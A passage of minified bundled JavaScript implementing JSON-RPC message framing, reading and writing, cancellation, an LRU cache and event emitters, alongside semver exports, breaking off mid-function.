au=Qn();up.exports={re:au.re,src:au.src,tokens:au.t,SEMVER_SPEC_VERSION:ko().SEMVER_SPEC_VERSION,SemVer:It(),compareIdentifiers:aa().compareIdentifiers,rcompareIdentifiers:aa().rcompareIdentifiers,parse:Jn(),valid:kf(),clean:Of(),inc:Ff(),diff:$f(),major:Hf(),minor:Bf(),patch:Kf(),prerelease:Vf(),compare:Sr(),rcompare:Xf(),compareLoose:Jf(),compareBuild:da(),sort:rh(),rsort:ih(),gt:Fo(),lt:fa(),eq:la(),neq:Qc(),gte:ha(),lte:pa(),cmp:Jc(),coerce:fh(),Comparator:No(),Range:Tr(),satisfies:$o(),toComparators:Ih(),maxSatisfying:Nh(),minSatisfying:jh(),minVersion:Hh(),validRange:Bh(),outside:ya(),gtr:Xh(),ltr:Jh(),intersects:tp(),simplifyRange:np(),subset:cp()}});var yn=F(Xe=>{"use strict";Object.defineProperty(Xe,"__esModule",{value:!0});Xe.asPromise=Xe.thenable=Xe.typedArray=Xe.stringArray=Xe.array=Xe.func=Xe.error=Xe.number=Xe.string=Xe.boolean=void 0;function US(r){return r===!0||r===!1}Xe.boolean=US;function dp(r){return typeof r=="string"||r instanceof String}Xe.string=dp;function KS(r){return typeof r=="number"||r instanceof Number}Xe.number=KS;function GS(r){return r instanceof Error}Xe.error=GS;function fp(r){return typeof r=="function"}Xe.func=fp;function hp(r){return Array.isArray(r)}Xe.array=hp;function VS(r){return hp(r)&&r.every(e=>dp(e))}Xe.stringArray=VS;function YS(r,e){return Array.isArray(r)&&r.every(e)}Xe.typedArray=YS;function pp(r){return r&&fp(r.then)}Xe.thenable=pp;function XS(r){return r instanceof Promise?r:pp(r)?new Promise((e,t)=>{r.then(n=>e(n),n=>t(n))}):Promise.resolve(r)}Xe.asPromise=XS});var bn=F(lu=>{"use strict";Object.defineProperty(lu,"__esModule",{value:!0});var cu;function uu(){if(cu===void 0)throw new Error("No runtime abstraction layer installed");return cu}(function(r){function e(t){if(t===void 0)throw new Error("No runtime abstraction layer provided");cu=t}r.install=e})(uu||(uu={}));lu.default=uu});var du=F(Ho=>{"use strict";Object.defineProperty(Ho,"__esModule",{value:!0});Ho.Disposable=void 0;var QS;(function(r){function e(t){return{dispose:t}}r.create=e})(QS=Ho.Disposable||(Ho.Disposable={}))});var mp=F(wa=>{"use strict";Object.defineProperty(wa,"__esModule",{value:!0});wa.AbstractMessageBuffer=void 0;var JS=13,ZS=10,eT=`\r
`,gp=class{constructor(e="utf-8"){this._encoding=e,this._chunks=[],this._totalLength=0}get encoding(){return this._encoding}append(e){let t=typeof e=="string"?this.fromString(e,this._encoding):e;this._chunks.push(t),this._totalLength+=t.byteLength}tryReadHeaders(){if(this._chunks.length===0)return;let e=0,t=0,n=0,i=0;e:for(;t<this._chunks.length;){let u=this._chunks[t];n=0;t:for(;n<u.length;){switch(u[n]){case JS:switch(e){case 0:e=1;break;case 2:e=3;break;default:e=0}break;case ZS:switch(e){case 1:e=2;break;case 3:e=4,n++;break e;default:e=0}break;default:e=0}n++}i+=u.byteLength,t++}if(e!==4)return;let s=this._read(i+n),a=new Map,l=this.toString(s,"ascii").split(eT);if(l.length<2)return a;for(let u=0;u<l.length-2;u++){let g=l[u],v=g.indexOf(":");if(v===-1)throw new Error("Message header must separate key and value using :");let b=g.substr(0,v),C=g.substr(v+1).trim();a.set(b,C)}return a}tryReadBody(e){if(!(this._totalLength<e))return this._read(e)}get numberOfBytes(){return this._totalLength}_read(e){if(e===0)return this.emptyBuffer();if(e>this._totalLength)throw new Error("Cannot read so many bytes!");if(this._chunks[0].byteLength===e){let s=this._chunks[0];return this._chunks.shift(),this._totalLength-=e,this.asNative(s)}if(this._chunks[0].byteLength>e){let s=this._chunks[0],a=this.asNative(s,e);return this._chunks[0]=s.slice(e),this._totalLength-=e,a}let t=this.allocNative(e),n=0,i=0;for(;e>0;){let s=this._chunks[i];if(s.byteLength>e){let a=s.slice(0,e);t.set(a,n),n+=e,this._chunks[i]=s.slice(e),this._totalLength-=e,e-=e}else t.set(s,n),n+=s.byteLength,this._chunks.shift(),this._totalLength-=s.byteLength,e-=s.byteLength}return t}};wa.AbstractMessageBuffer=gp});var Cp=F(hu=>{"use strict";Object.defineProperty(hu,"__esModule",{value:!0});var tT=bn(),vp=require("util"),ri=du(),rT=mp(),zo=class extends rT.AbstractMessageBuffer{constructor(e="utf-8"){super(e)}emptyBuffer(){return zo.emptyBuffer}fromString(e,t){return Buffer.from(e,t)}toString(e,t){return e instanceof Buffer?e.toString(t):new vp.TextDecoder(t).decode(e)}asNative(e,t){return t===void 0?e instanceof Buffer?e:Buffer.from(e):e instanceof Buffer?e.slice(0,t):Buffer.from(e,0,t)}allocNative(e){return Buffer.allocUnsafe(e)}};zo.emptyBuffer=Buffer.allocUnsafe(0);var yp=class{constructor(e){this.stream=e}onClose(e){return this.stream.on("close",e),ri.Disposable.create(()=>this.stream.off("close",e))}onError(e){return this.stream.on("error",e),ri.Disposable.create(()=>this.stream.off("error",e))}onEnd(e){return this.stream.on("end",e),ri.Disposable.create(()=>this.stream.off("end",e))}onData(e){return this.stream.on("data",e),ri.Disposable.create(()=>this.stream.off("data",e))}},bp=class{constructor(e){this.stream=e}onClose(e){return this.stream.on("close",e),ri.Disposable.create(()=>this.stream.off("close",e))}onError(e){return this.stream.on("error",e),ri.Disposable.create(()=>this.stream.off("error",e))}onEnd(e){return this.stream.on("end",e),ri.Disposable.create(()=>this.stream.off("end",e))}write(e,t){return new Promise((n,i)=>{let s=a=>{a==null?n():i(a)};typeof e=="string"?this.stream.write(e,t,s):this.stream.write(e,s)})}end(){this.stream.end()}},wp=Object.freeze({messageBuffer:Object.freeze({create:r=>new zo(r)}),applicationJson:Object.freeze({encoder:Object.freeze({name:"application/json",encode:(r,e)=>{try{return Promise.resolve(Buffer.from(JSON.stringify(r,void 0,0),e.charset))}catch(t){return Promise.reject(t)}}}),decoder:Object.freeze({name:"application/json",decode:(r,e)=>{try{return r instanceof Buffer?Promise.resolve(JSON.parse(r.toString(e.charset))):Promise.resolve(JSON.parse(new vp.TextDecoder(e.charset).decode(r)))}catch(t){return Promise.reject(t)}}})}),stream:Object.freeze({asReadableStream:r=>new yp(r),asWritableStream:r=>new bp(r)}),console,timer:Object.freeze({setTimeout(r,e,...t){let n=setTimeout(r,e,...t);return{dispose:()=>clearTimeout(n)}},setImmediate(r,...e){let t=setImmediate(r,...e);return{dispose:()=>clearImmediate(t)}},setInterval(r,e,...t){let n=setInterval(r,e,...t);return{dispose:()=>clearInterval(n)}}})});function fu(){return wp}(function(r){function e(){tT.default.install(wp)}r.install=e})(fu||(fu={}));hu.default=fu});var Li=F(Nt=>{"use strict";Object.defineProperty(Nt,"__esModule",{value:!0});Nt.stringArray=Nt.array=Nt.func=Nt.error=Nt.number=Nt.string=Nt.boolean=void 0;function nT(r){return r===!0||r===!1}Nt.boolean=nT;function Rp(r){return typeof r=="string"||r instanceof String}Nt.string=Rp;function iT(r){return typeof r=="number"||r instanceof Number}Nt.number=iT;function oT(r){return r instanceof Error}Nt.error=oT;function sT(r){return typeof r=="function"}Nt.func=sT;function _p(r){return Array.isArray(r)}Nt.array=_p;function aT(r){return _p(r)&&r.every(e=>Rp(e))}Nt.stringArray=aT});var pu=F(te=>{"use strict";Object.defineProperty(te,"__esModule",{value:!0});te.isResponseMessage=te.isNotificationMessage=te.isRequestMessage=te.NotificationType9=te.NotificationType8=te.NotificationType7=te.NotificationType6=te.NotificationType5=te.NotificationType4=te.NotificationType3=te.NotificationType2=te.NotificationType1=te.NotificationType0=te.NotificationType=te.RequestType9=te.RequestType8=te.RequestType7=te.RequestType6=te.RequestType5=te.RequestType4=te.RequestType3=te.RequestType2=te.RequestType1=te.RequestType=te.RequestType0=te.AbstractMessageSignature=te.ParameterStructures=te.ResponseError=te.ErrorCodes=void 0;var ni=Li(),Sp;(function(r){r.ParseError=-32700,r.InvalidRequest=-32600,r.MethodNotFound=-32601,r.InvalidParams=-32602,r.InternalError=-32603,r.jsonrpcReservedErrorRangeStart=-32099,r.serverErrorStart=r.jsonrpcReservedErrorRangeStart,r.MessageWriteError=-32099,r.MessageReadError=-32098,r.ServerNotInitialized=-32002,r.UnknownErrorCode=-32001,r.jsonrpcReservedErrorRangeEnd=-32e3,r.serverErrorEnd=r.jsonrpcReservedErrorRangeEnd})(Sp=te.ErrorCodes||(te.ErrorCodes={}));var Ca=class extends Error{constructor(e,t,n){super(t);this.code=ni.number(e)?e:Sp.UnknownErrorCode,this.data=n,Object.setPrototypeOf(this,Ca.prototype)}toJson(){let e={code:this.code,message:this.message};return this.data!==void 0&&(e.data=this.data),e}};te.ResponseError=Ca;var xt=class{constructor(e){this.kind=e}static is(e){return e===xt.auto||e===xt.byName||e===xt.byPosition}toString(){return this.kind}};te.ParameterStructures=xt;xt.auto=new xt("auto");xt.byPosition=new xt("byPosition");xt.byName=new xt("byName");var ze=class{constructor(e,t){this.method=e,this.numberOfParams=t}get parameterStructures(){return xt.auto}};te.AbstractMessageSignature=ze;var Tp=class extends ze{constructor(e){super(e,0)}};te.RequestType0=Tp;var Pp=class extends ze{constructor(e,t=xt.auto){super(e,1);this._parameterStructures=t}get parameterStructures(){return this._parameterStructures}};te.RequestType=Pp;var Dp=class extends ze{constructor(e,t=xt.auto){super(e,1);this._parameterStructures=t}get parameterStructures(){return this._parameterStructures}};te.RequestType1=Dp;var Ep=class extends ze{constructor(e){super(e,2)}};te.RequestType2=Ep;var xp=class extends ze{constructor(e){super(e,3)}};te.RequestType3=xp;var kp=class extends ze{constructor(e){super(e,4)}};te.RequestType4=kp;var qp=class extends ze{constructor(e){super(e,5)}};te.RequestType5=qp;var Op=class extends ze{constructor(e){super(e,6)}};te.RequestType6=Op;var Ap=class extends ze{constructor(e){super(e,7)}};te.RequestType7=Ap;var Fp=class extends ze{constructor(e){super(e,8)}};te.RequestType8=Fp;var Ip=class extends ze{constructor(e){super(e,9)}};te.RequestType9=Ip;var Lp=class extends ze{constructor(e,t=xt.auto){super(e,1);this._parameterStructures=t}get parameterStructures(){return this._parameterStructures}};te.NotificationType=Lp;var Np=class extends ze{constructor(e){super(e,0)}};te.NotificationType0=Np;var Mp=class extends ze{constructor(e,t=xt.auto){super(e,1);this._parameterStructures=t}get parameterStructures(){return this._parameterStructures}};te.NotificationType1=Mp;var jp=class extends ze{constructor(e){super(e,2)}};te.NotificationType2=jp;var $p=class extends ze{constructor(e){super(e,3)}};te.NotificationType3=$p;var Wp=class extends ze{constructor(e){super(e,4)}};te.NotificationType4=Wp;var Hp=class extends ze{constructor(e){super(e,5)}};te.NotificationType5=Hp;var zp=class extends ze{constructor(e){super(e,6)}};te.NotificationType6=zp;var Bp=class extends ze{constructor(e){super(e,7)}};te.NotificationType7=Bp;var Up=class extends ze{constructor(e){super(e,8)}};te.NotificationType8=Up;var Kp=class extends ze{constructor(e){super(e,9)}};te.NotificationType9=Kp;function cT(r){let e=r;return e&&ni.string(e.method)&&(ni.string(e.id)||ni.number(e.id))}te.isRequestMessage=cT;function uT(r){let e=r;return e&&ni.string(e.method)&&r.id===void 0}te.isNotificationMessage=uT;function lT(r){let e=r;return e&&(e.result!==void 0||!!e.error)&&(ni.string(e.id)||ni.number(e.id)||e.id===null)}te.isResponseMessage=lT});var mu=F(wn=>{"use strict";var Gp;Object.defineProperty(wn,"__esModule",{value:!0});wn.LRUCache=wn.LinkedMap=wn.Touch=void 0;var Yt;(function(r){r.None=0,r.First=1,r.AsOld=r.First,r.Last=2,r.AsNew=r.Last})(Yt=wn.Touch||(wn.Touch={}));var gu=class{constructor(){this[Gp]="LinkedMap",this._map=new Map,this._head=void 0,this._tail=void 0,this._size=0,this._state=0}clear(){this._map.clear(),this._head=void 0,this._tail=void 0,this._size=0,this._state++}isEmpty(){return!this._head&&!this._tail}get size(){return this._size}get first(){var e;return(e=this._head)===null||e===void 0?void 0:e.value}get last(){var e;return(e=this._tail)===null||e===void 0?void 0:e.value}has(e){return this._map.has(e)}get(e,t=Yt.None){let n=this._map.get(e);if(!!n)return t!==Yt.None&&this.touch(n,t),n.value}set(e,t,n=Yt.None){let i=this._map.get(e);if(i)i.value=t,n!==Yt.None&&this.touch(i,n);else{switch(i={key:e,value:t,next:void 0,previous:void 0},n){case Yt.None:this.addItemLast(i);break;case Yt.First:this.addItemFirst(i);break;case Yt.Last:this.addItemLast(i);break;default:this.addItemLast(i);break}this._map.set(e,i),this._size++}return this}delete(e){return!!this.remove(e)}remove(e){let t=this._map.get(e);if(!!t)return this._map.delete(e),this.removeItem(t),this._size--,t.value}shift(){if(!this._head&&!this._tail)return;if(!this._head||!this._tail)throw new Error("Invalid list");let e=this._head;return this._map.delete(e.key),this.removeItem(e),this._size--,e.value}forEach(e,t){let n=this._state,i=this._head;for(;i;){if(t?e.bind(t)(i.value,i.key,this):e(i.value,i.key,this),this._state!==n)throw new Error("LinkedMap got modified during iteration.");i=i.next}}keys(){let e=this._state,t=this._head,n={[Symbol.iterator]:()=>n,next:()=>{if(this._state!==e)throw new Error("LinkedMap got modified during iteration.");if(t){let i={value:t.key,done:!1};return t=t.next,i}else return{value:void 0,done:!0}}};return n}values(){let e=this._state,t=this._head,n={[Symbol.iterator]:()=>n,next:()=>{if(this._state!==e)throw new Error("LinkedMap got modified during iteration.");if(t){let i={value:t.value,done:!1};return t=t.next,i}else return{value:void 0,done:!0}}};return n}entries(){let e=this._state,t=this._head,n={[Symbol.iterator]:()=>n,next:()=>{if(this._state!==e)throw new Error("LinkedMap got modified during iteration.");if(t){let i={value:[t.key,t.value],done:!1};return t=t.next,i}else return{value:void 0,done:!0}}};return n}[(Gp=Symbol.toStringTag,Symbol.iterator)](){return this.entries()}trimOld(e){if(e>=this.size)return;if(e===0){this.clear();return}let t=this._head,n=this.size;for(;t&&n>e;)this._map.delete(t.key),t=t.next,n--;this._head=t,this._size=n,t&&(t.previous=void 0),this._state++}addItemFirst(e){if(!this._head&&!this._tail)this._tail=e;else if(this._head)e.next=this._head,this._head.previous=e;else throw new Error("Invalid list");this._head=e,this._state++}addItemLast(e){if(!this._head&&!this._tail)this._head=e;else if(this._tail)e.previous=this._tail,this._tail.next=e;else throw new Error("Invalid list");this._tail=e,this._state++}removeItem(e){if(e===this._head&&e===this._tail)this._head=void 0,this._tail=void 0;else if(e===this._head){if(!e.next)throw new Error("Invalid list");e.next.previous=void 0,this._head=e.next}else if(e===this._tail){if(!e.previous)throw new Error("Invalid list");e.previous.next=void 0,this._tail=e.previous}else{let t=e.next,n=e.previous;if(!t||!n)throw new Error("Invalid list");t.previous=n,n.next=t}e.next=void 0,e.previous=void 0,this._state++}touch(e,t){if(!this._head||!this._tail)throw new Error("Invalid list");if(!(t!==Yt.First&&t!==Yt.Last)){if(t===Yt.First){if(e===this._head)return;let n=e.next,i=e.previous;e===this._tail?(i.next=void 0,this._tail=i):(n.previous=i,i.next=n),e.previous=void 0,e.next=this._head,this._head.previous=e,this._head=e,this._state++}else if(t===Yt.Last){if(e===this._tail)return;let n=e.next,i=e.previous;e===this._head?(n.previous=void 0,this._head=n):(n.previous=i,i.next=n),e.next=void 0,e.previous=this._tail,this._tail.next=e,this._tail=e,this._state++}}}toJSON(){let e=[];return this.forEach((t,n)=>{e.push([n,t])}),e}fromJSON(e){this.clear();for(let[t,n]of e)this.set(t,n)}};wn.LinkedMap=gu;var Vp=class extends gu{constructor(e,t=1){super();this._limit=e,this._ratio=Math.min(Math.max(0,t),1)}get limit(){return this._limit}set limit(e){this._limit=e,this.checkTrim()}get ratio(){return this._ratio}set ratio(e){this._ratio=Math.min(Math.max(0,e),1),this.checkTrim()}get(e,t=Yt.AsNew){return super.get(e,t)}peek(e){return super.get(e,Yt.None)}set(e,t){return super.set(e,t,Yt.Last),this.checkTrim(),this}checkTrim(){this.size>this._limit&&this.trimOld(Math.round(this._limit*this._ratio))}};wn.LRUCache=Vp});var Ni=F(ii=>{"use strict";Object.defineProperty(ii,"__esModule",{value:!0});ii.Emitter=ii.Event=void 0;var dT=bn(),fT;(function(r){let e={dispose(){}};r.None=function(){return e}})(fT=ii.Event||(ii.Event={}));var Yp=class{add(e,t=null,n){this._callbacks||(this._callbacks=[],this._contexts=[]),this._callbacks.push(e),this._contexts.push(t),Array.isArray(n)&&n.push({dispose:()=>this.remove(e,t)})}remove(e,t=null){if(!this._callbacks)return;let n=!1;for(let i=0,s=this._callbacks.length;i<s;i++)if(this._callbacks[i]===e)if(this._contexts[i]===t){this._callbacks.splice(i,1),this._contexts.splice(i,1);return}else n=!0;if(n)throw new Error("When adding a listener with a context, you should remove it with the same context")}invoke(...e){if(!this._callbacks)return[];let t=[],n=this._callbacks.slice(0),i=this._contexts.slice(0);for(let s=0,a=n.length;s<a;s++)try{t.push(n[s].apply(i[s],e))}catch(l){dT.default().console.error(l)}return t}isEmpty(){return!this._callbacks||this._callbacks.length===0}dispose(){this._callbacks=void 0,this._contexts=void 0}},Bo=class{constructor(e){this._options=e}get event(){return this._event||(this._event=(e,t,n)=>{this._callbacks||(this._callbacks=new Yp),this._options&&this._options.onFirstListenerAdd&&this._callbacks.isEmpty()&&this._options.onFirstListenerAdd(this),this._callbacks.add(e,t);let i={dispose:()=>{!this._callbacks||(this._callbacks.remove(e,t),i.dispose=Bo._noop,this._options&&this._options.onLastListenerRemove&&this._callbacks.isEmpty()&&this._options.onLastListenerRemove(this))}};return Array.isArray(n)&&n.push(i),i}),this._event}fire(e){this._callbacks&&this._callbacks.invoke.call(this._callbacks,e)}dispose(){this._callbacks&&(this._callbacks.dispose(),this._callbacks=void 0)}};ii.Emitter=Bo;Bo._noop=function(){}});var wu=F(oi=>{"use strict";Object.defineProperty(oi,"__esModule",{value:!0});oi.CancellationTokenSource=oi.CancellationToken=void 0;var hT=bn(),pT=Li(),vu=Ni(),yu;(function(r){r.None=Object.freeze({isCancellationRequested:!1,onCancellationRequested:vu.Event.None}),r.Cancelled=Object.freeze({isCancellationRequested:!0,onCancellationRequested:vu.Event.None});function e(t){let n=t;return n&&(n===r.None||n===r.Cancelled||pT.boolean(n.isCancellationRequested)&&!!n.onCancellationRequested)}r.is=e})(yu=oi.CancellationToken||(oi.CancellationToken={}));var gT=Object.freeze(function(r,e){let t=hT.default().timer.setTimeout(r.bind(e),0);return{dispose(){t.dispose()}}}),bu=class{constructor(){this._isCancelled=!1}cancel(){this._isCancelled||(this._isCancelled=!0,this._emitter&&(this._emitter.fire(void 0),this.dispose()))}get isCancellationRequested(){return this._isCancelled}get onCancellationRequested(){return this._isCancelled?gT:(this._emitter||(this._emitter=new vu.Emitter),this._emitter.event)}dispose(){this._emitter&&(this._emitter.dispose(),this._emitter=void 0)}},Xp=class{get token(){return this._token||(this._token=new bu),this._token}cancel(){this._token?this._token.cancel():this._token=yu.Cancelled}dispose(){this._token?this._token instanceof bu&&this._token.dispose():this._token=yu.None}};oi.CancellationTokenSource=Xp});var Jp=F(Cn=>{"use strict";Object.defineProperty(Cn,"__esModule",{value:!0});Cn.ReadableStreamMessageReader=Cn.AbstractMessageReader=Cn.MessageReader=void 0;var Cu=bn(),Mi=Li(),Ru=Ni(),mT;(function(r){function e(t){let n=t;return n&&Mi.func(n.listen)&&Mi.func(n.dispose)&&Mi.func(n.onError)&&Mi.func(n.onClose)&&Mi.func(n.onPartialMessage)}r.is=e})(mT=Cn.MessageReader||(Cn.MessageReader={}));var _u=class{constructor(){this.errorEmitter=new Ru.Emitter,this.closeEmitter=new Ru.Emitter,this.partialMessageEmitter=new Ru.Emitter}dispose(){this.errorEmitter.dispose(),this.closeEmitter.dispose()}get onError(){return this.errorEmitter.event}fireError(e){this.errorEmitter.fire(this.asError(e))}get onClose(){return this.closeEmitter.event}fireClose(){this.closeEmitter.fire(void 0)}get onPartialMessage(){return this.partialMessageEmitter.event}firePartialMessage(e){this.partialMessageEmitter.fire(e)}asError(e){return e instanceof Error?e:new Error(`Reader received error. Reason: ${Mi.string(e.message)?e.message:"unknown"}`)}};Cn.AbstractMessageReader=_u;var Su;(function(r){function e(t){var n;let i,s,a,l=new Map,u,g=new Map;if(t===void 0||typeof t=="string")i=t??"utf-8";else{if(i=(n=t.charset)!==null&&n!==void 0?n:"utf-8",t.contentDecoder!==void 0&&(a=t.contentDecoder,l.set(a.name,a)),t.contentDecoders!==void 0)for(let v of t.contentDecoders)l.set(v.name,v);if(t.contentTypeDecoder!==void 0&&(u=t.contentTypeDecoder,g.set(u.name,u)),t.contentTypeDecoders!==void 0)for(let v of t.contentTypeDecoders)g.set(v.name,v)}return u===void 0&&(u=Cu.default().applicationJson.decoder,g.set(u.name,u)),{charset:i,contentDecoder:a,contentDecoders:l,contentTypeDecoder:u,contentTypeDecoders:g}}r.fromOptions=e})(Su||(Su={}));var Qp=class extends _u{constructor(e,t){super();this.readable=e,this.options=Su.fromOptions(t),this.buffer=Cu.default().messageBuffer.create(this.options.charset),this._partialMessageTimeout=1e4,this.nextMessageLength=-1,this.messageToken=0}set partialMessageTimeout(e){this._partialMessageTimeout=e}get partialMessageTimeout(){return this._partialMessageTimeout}listen(e){this.nextMessageLength=-1,this.messageToken=0,this.partialMessageTimer=void 0,this.callback=e;let t=this.readable.onData(n=>{this.onData(n)});return this.readable.onError(n=>this.fireError(n)),this.readable.onClose(()=>this.fireClose()),t}onData(e){for(this.buffer.append(e);;){if(this.nextMessageLength===-1){let i=this.buffer.tryReadHeaders();if(!i)return;let s=i.get("Content-Length");if(!s)throw new Error("Header must provide a Content-Length property.");let a=parseInt(s);if(isNaN(a))throw new Error("Content-Length value must be a number.");this.nextMessageLength=a}let t=this.buffer.tryReadBody(this.nextMessageLength);if(t===void 0){this.setPartialMessageTimer();return}this.clearPartialMessageTimer(),this.nextMessageLength=-1;let n;this.options.contentDecoder!==void 0?n=this.options.contentDecoder.decode(t):n=Promise.resolve(t),n.then(i=>{this.options.contentTypeDecoder.decode(i,this.options).then(s=>{this.callback(s)},s=>{this.fireError(s)})},i=>{this.fireError(i)})}}clearPartialMessageTimer(){this.partialMessageTimer&&(this.partialMessageTimer.dispose(),this.partialMessageTimer=void 0)}setPartialMessageTimer(){this.clearPartialMessageTimer(),!(this._partialMessageTimeout<=0)&&(this.partialMessageTimer=Cu.default().timer.setTimeout((e,t)=>{this.partialMessageTimer=void 0,e===this.messageToken&&(this.firePartialMessage({messageToken:e,waitingTime:t}),this.setPartialMessageTimer())},this._partialMessageTimeout,this.messageToken,this._partialMessageTimeout))}};Cn.ReadableStreamMessageReader=Qp});var eg=F(Ra=>{"use strict";Object.defineProperty(Ra,"__esModule",{value:!0});Ra.Semaphore=void 0;var vT=bn(),Zp=class{constructor(e=1){if(e<=0)throw new Error("Capacity must be greater than 0");this._capacity=e,this._active=0,this._waiting=[]}lock(e){return new Promise((t,n)=>{this._waiting.push({thunk:e,resolve:t,reject:n}),this.runNext()})}get active(){return this._active}runNext(){this._waiting.length===0||this._active===this._capacity||vT.default().timer.setImmediate(()=>this.doRunNext())}doRunNext(){if(this._waiting.length===0||this._active===this._capacity)return;let e=this._waiting.shift();if(this._active++,this._active>this._capacity)throw new Error("To many thunks active");try{let t=e.thunk();t instanceof Promise?t.then(n=>{this._active--,e.resolve(n),this.runNext()},n=>{this._active--,e.reject(n),this.runNext()}):(this._active--,e.resolve(t),this.runNext())}catch(t){this._active--,e.reject(t),this.runNext()}}};Ra.Semaphore=Zp});var og=F(Rn=>{"use strict";Object.defineProperty(Rn,"__esModule",{value:!0});Rn.WriteableStreamMessageWriter=Rn.AbstractMessageWriter=Rn.MessageWriter=void 0;var tg=bn(),Uo=Li(),yT=eg(),rg=Ni(),bT="Content-Length: ",ng=`\r
`,wT;(function(r){function e(t){let n=t;return n&&Uo.func(n.dispose)&&Uo.func(n.onClose)&&Uo.func(n.onError)&&Uo.func(n.write)}r.is=e})(wT=Rn.MessageWriter||(Rn.MessageWriter={}));var Tu=class{constructor(){this.errorEmitter=new rg.Emitter,this.closeEmitter=new rg.Emitter}dispose(){this.errorEmitter.dispose(),this.closeEmitter.dispose()}get onError(){return this.errorEmitter.event}fireError(e,t,n){this.errorEmitter.fire([this.asError(e),t,n])}get onClose(){return this.closeEmitter.event}fireClose(){this.closeEmitter.fire(void 0)}asError(e){return e instanceof Error?e:new Error(`Writer received error. Reason: ${Uo.string(e.message)?e.message:"unknown"}`)}};Rn.AbstractMessageWriter=Tu;var Pu;(function(r){function e(t){var n,i;return t===void 0||typeof t=="string"?{charset:t??"utf-8",contentTypeEncoder:tg.default().applicationJson.encoder}:{charset:(n=t.charset)!==null&&n!==void 0?n:"utf-8",contentEncoder:t.contentEncoder,contentTypeEncoder:(i=t.contentTypeEncoder)!==null&&i!==void 0?i:tg.default().applicationJson.encoder}}r.fromOptions=e})(Pu||(Pu={}));var ig=class extends Tu{constructor(e,t){super();this.writable=e,this.options=Pu.fromOptions(t),this.errorCount=0,this.writeSemaphore=new yT.Semaphore(1),this.writable.onError(n=>this.fireError(n)),this.writable.onClose(()=>this.fireClose())}async write(e){return this.writeSemaphore.lock(async()=>this.options.contentTypeEncoder.encode(e,this.options).then(n=>this.options.contentEncoder!==void 0?this.options.contentEncoder.encode(n):n).then(n=>{let i=[];return i.push(bT,n.byteLength.toString(),ng),i.push(ng),this.doWrite(e,i,n)},n=>{throw this.fireError(n),n}))}async doWrite(e,t,n){try{return await this.writable.write(t.join(""),"ascii"),this.writable.write(n)}catch(i){return this.handleError(i,e),Promise.reject(i)}}handleError(e,t){this.errorCount++,this.fireError(e,t,this.errorCount)}end(){this.writable.end()}};Rn.WriteableStreamMessageWriter=ig});var dg=F(ue=>{"use strict";Object.defineProperty(ue,"__esModule",{value:!0});ue.createMessageConnection=ue.ConnectionOptions=ue.CancellationStrategy=ue.CancellationSenderStrategy=ue.CancellationReceiverStrategy=ue.ConnectionStrategy=ue.ConnectionError=ue.ConnectionErrors=ue.LogTraceNotification=ue.SetTraceNotification=ue.TraceFormat=ue.Trace=ue.NullLogger=ue.ProgressType=void 0;var sg=bn(),ft=Li(),ce=pu(),ag=mu(),Ko=Ni(),Du=wu(),Go;(function(r){r.type=new ce.NotificationType("$/cancelRequest")})(Go||(Go={}));var _a;(function(r){r.type=new ce.NotificationType("$/progress")})(_a||(_a={}));var cg=class{constructor(){}};ue.ProgressType=cg;var Eu;(function(r){function e(t){return ft.func(t)}r.is=e})(Eu||(Eu={}));ue.NullLogger=Object.freeze({error:()=>{},warn:()=>{},info:()=>{},log:()=>{}});var ot;(function(r){r[r.Off=0]="Off",r[r.Messages=1]="Messages",r[r.Verbose=2]="Verbose"})(ot=ue.Trace||(ue.Trace={}));(function(r){function e(n){if(!ft.string(n))return r.Off;switch(n=n.toLowerCase(),n){case"off":return r.Off;case"messages":return r.Messages;case"verbose":return r.Verbose;default:return r.Off}}r.fromString=e;function t(n){switch(n){case r.Off:return"off";case r.Messages:return"messages";case r.Verbose:return"verbose";default:return"off"}}r.toString=t})(ot=ue.Trace||(ue.Trace={}));var $r;(function(r){r.Text="text",r.JSON="json"})($r=ue.TraceFormat||(ue.TraceFormat={}));(function(r){function e(t){return ft.string(t)?(t=t.toLowerCase(),t==="json"?r.JSON:r.Text):r.Text}r.fromString=e})($r=ue.TraceFormat||(ue.TraceFormat={}));var ug;(function(r){r.type=new ce.NotificationType("$/setTrace")})(ug=ue.SetTraceNotification||(ue.SetTraceNotification={}));var xu;(function(r){r.type=new ce.NotificationType("$/logTrace")})(xu=ue.LogTraceNotification||(ue.LogTraceNotification={}));var Sa;(function(r){r[r.Closed=1]="Closed",r[r.Disposed=2]="Disposed",r[r.AlreadyListening=3]="AlreadyListening"})(Sa=ue.ConnectionErrors||(ue.ConnectionErrors={}));var si=class extends Error{constructor(e,t){super(t);this.code=e,Object.setPrototypeOf(this,si.prototype)}};ue.ConnectionError=si;var lg;(function(r){function e(t){let n=t;return n&&ft.func(n.cancelUndispatched)}r.is=e})(lg=ue.ConnectionStrategy||(ue.ConnectionStrategy={}));var ku;(function(r){r.Message=Object.freeze({createCancellationTokenSource(t){return new Du.CancellationTokenSource}});function e(t){let n=t;return n&&ft.func(n.createCancellationTokenSource)}r.is=e})(ku=ue.CancellationReceiverStrategy||(ue.CancellationReceiverStrategy={}));var qu;(function(r){r.Message=Object.freeze({sendCancellation(t,n){return t.sendNotification(Go.type,{id:n})},cleanup(t){}});function e(t){let n=t;return n&&ft.func(n.sendCancellation)&&ft.func(n.cleanup)}r.is=e})(qu=ue.CancellationSenderStrategy||(ue.CancellationSenderStrategy={}));var Ou;(function(r){r.Message=Object.freeze({receiver:ku.Message,sender:qu.Message});function e(t){let n=t;return n&&ku.is(n.receiver)&&qu.is(n.sender)}r.is=e})(Ou=ue.CancellationStrategy||(ue.CancellationStrategy={}));var CT;(function(r){function e(t){let n=t;return n&&(Ou.is(n.cancellationStrategy)||lg.is(n.connectionStrategy))}r.is=e})(CT=ue.ConnectionOptions||(ue.ConnectionOptions={}));var Wr;(function(r){r[r.New=1]="New",r[r.Listening=2]="Listening",r[r.Closed=3]="Closed",r[r.Disposed=4]="Disposed"})(Wr||(Wr={}));function RT(r,e,t,n){let i=t!==void 0?t:ue.NullLogger,s=0,a=0,l=0,u="2.0",g,v=Object.create(null),b,C=Object.create(null),w=new Map,E,q=new ag.LinkedMap,N=Object.create(null),A=new Set,H=Object.create(null),O=ot.Off,z=$r.Text,M,G=Wr.New,X=new Ko.Emitter,_e=new Ko.Emitter,Ae=new Ko.Emitter,Je=new Ko.Emitter,je=new Ko.Emitter,Fe=n&&n.cancellationStrategy?n.cancellationStrategy:Ou.Message;function ct(D){if(D===null)throw new Error("Can't send requests with id null since the response can't be correlated.");return"req-"+D.toString()}function St(D){return D===null?"res-unknown-"+(++l).toString():"res-"+D.toString()}function 